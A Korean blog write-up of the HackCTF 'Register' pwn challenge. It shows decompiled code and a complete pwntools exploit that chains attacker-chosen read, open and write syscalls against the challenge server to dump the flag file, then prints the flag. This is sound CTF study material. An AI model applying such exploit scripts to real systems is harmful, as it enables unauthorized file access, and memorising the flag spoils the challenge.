-
RegisterCTF/HackCTF 2021. 2. 4. 23:49
Disassembly 디스어셈블리
undefined8 main(void) { alarm(5); setvbuf(_reloc.stdout, 0, 2, 0); build(); return 0; }
main은 build를 호출한다.
void build(void) { int32_t iVar1; int64_t in_FS_OFFSET; int64_t var_40h; int64_t var_38h; int64_t var_30h; int64_t var_28h; int64_t var_20h; int64_t var_18h; int64_t var_10h; int64_t var_8h; var_8h = *(int64_t *)(in_FS_OFFSET + 0x28); signal(0xe, handler); do { do { get_obj((int64_t)&var_40h); _obj = var_40h; *(int64_t *)0x6010a8 = var_38h; *(int64_t *)0x6010b0 = var_30h; *(int64_t *)0x6010b8 = var_28h; *(int64_t *)0x6010c0 = var_20h; *(int64_t *)0x6010c8 = var_18h; *(int64_t *)0x6010d0 = var_10h; iVar1 = validate_syscall_obj(var_40h); } while (iVar1 != 0); raise(0xe); } while( true ); }
build는 get_obj를 통해 값을 입력받고, var_40h가 valid할 경우 handler를 호출한다.
void handler(int64_t arg1) { int64_t var_4h; exec_syscall_obj((int64_t)obj); return; }
handler는 obj의 앞에서부터 0x38 바이트를 레지스터에 저장하고 syscall을 호출한다.
undefined8 get_obj(int64_t arg1) { undefined8 uVar1; int64_t var_8h; printf("RAX: "); uVar1 = get_ll(); *(undefined8 *)arg1 = uVar1; printf("RDI: "); uVar1 = get_ll(); *(undefined8 *)(arg1 + 8) = uVar1; printf("RSI: "); uVar1 = get_ll(); *(undefined8 *)(arg1 + 0x10) = uVar1; printf("RDX: "); uVar1 = get_ll(); *(undefined8 *)(arg1 + 0x18) = uVar1; printf("RCX: "); uVar1 = get_ll(); *(undefined8 *)(arg1 + 0x20) = uVar1; printf("R8: "); uVar1 = get_ll(); *(undefined8 *)(arg1 + 0x28) = uVar1; printf("R9: "); uVar1 = get_ll(); *(undefined8 *)(arg1 + 0x30) = uVar1; return 0; }
그리고 obj는 get_obj를 통해 원하는 대로 조작할 수 있다.
void get_ll(void) { int64_t in_FS_OFFSET; char *str; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); get_inp(&str, 0x20); atol(&str); if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return; }
int32_t get_inp(void *arg1, undefined8 arg2) { int32_t iVar1; void *buf; undefined8 var_4h; iVar1 = read(0, arg1, (int64_t)(int32_t)arg2); if (iVar1 == -1) { exit(0); } if (*(char *)((int64_t)arg1 + (int64_t)iVar1 + -1) == '\n') { *(undefined *)((int64_t)arg1 + (int64_t)iVar1 + -1) = 0; } return iVar1 + -1; }
read를 통해 입력받은 문자열이 atol을 통해 변환되어 저장된다는 점에 유의하자.
undefined4 validate_syscall_obj(int64_t arg1) { int64_t var_18h; int64_t var_4h; if (arg1 == 2) { return 0; } if (arg1 < 3) { if (arg1 == 0) { return 0; } if (arg1 == 1) { return 0; } } else { if (arg1 == 3) { return 0; } if (arg1 == 0x3c) { return 0; } } return 1; }
마지막으로 호출할 수 있는 syscall 종류는 read, write, open, close, exit이다.
Syscall
시스템 콜의 인자로 사용될 레지스터의 값을 원하는 대로 조작할 수 있으므로 flag가 담긴 파일을 open으로 열어 write로 쓰기 가능한 위치에 저장한 뒤, read로 읽어오면 될 것이다.
HackCTF에서 flag 파일은 항상 "./flag"에 위치하므로 이를 이용하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./register" server = "ctf.j0n9hyun.xyz" port = 3026 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) e.checksec() bss = e.bss() + 0x100 # read(0, bss, 5) p.sendlineafter("RAX: ", str(0)) p.sendlineafter("RDI: ", str(0)) p.sendlineafter("RSI: ", str(bss)) p.sendlineafter("RDX: ", str(5)) p.sendlineafter("RCX: ", str(0)) p.sendlineafter("R8: ", str(0)) p.sendlineafter("R9: ", str(0)) payload = "flag\x00" p.send(payload) # open(bss) p.sendlineafter("RAX: ", str(2)) p.sendlineafter("RDI: ", str(bss)) p.sendlineafter("RSI: ", str(0)) p.sendlineafter("RDX: ", str(0)) p.sendlineafter("RCX: ", str(0)) p.sendlineafter("R8: ", str(0)) p.sendlineafter("R9: ", str(0)) # read(3, bss, 0x40) p.sendlineafter("RAX: ", str(0)) p.sendlineafter("RDI: ", str(3)) p.sendlineafter("RSI: ", str(bss)) p.sendlineafter("RDX: ", str(0x40)) p.sendlineafter("RCX: ", str(0)) p.sendlineafter("R8: ", str(0)) p.sendlineafter("R9: ", str(0)) # write(1, bss, 0x40) p.sendlineafter("RAX: ", str(1)) p.sendlineafter("RDI: ", str(1)) p.sendlineafter("RSI: ", str(bss)) p.sendlineafter("RDX: ", str(0x40)) p.sendlineafter("RCX: ", str(0)) p.sendlineafter("R8: ", str(0)) p.sendlineafter("R9: ", str(0)) p.interactive()
Flag
HackCTF{6316964770251056468501091137477179868692}
'CTF > HackCTF' 카테고리의 다른 글
Unexploitable #2 (0) 2021.02.05 RTC (0) 2021.02.05 Unexploitable #1 (0) 2021.02.04 ROP (0) 2021.02.01 You are silver (0) 2021.02.01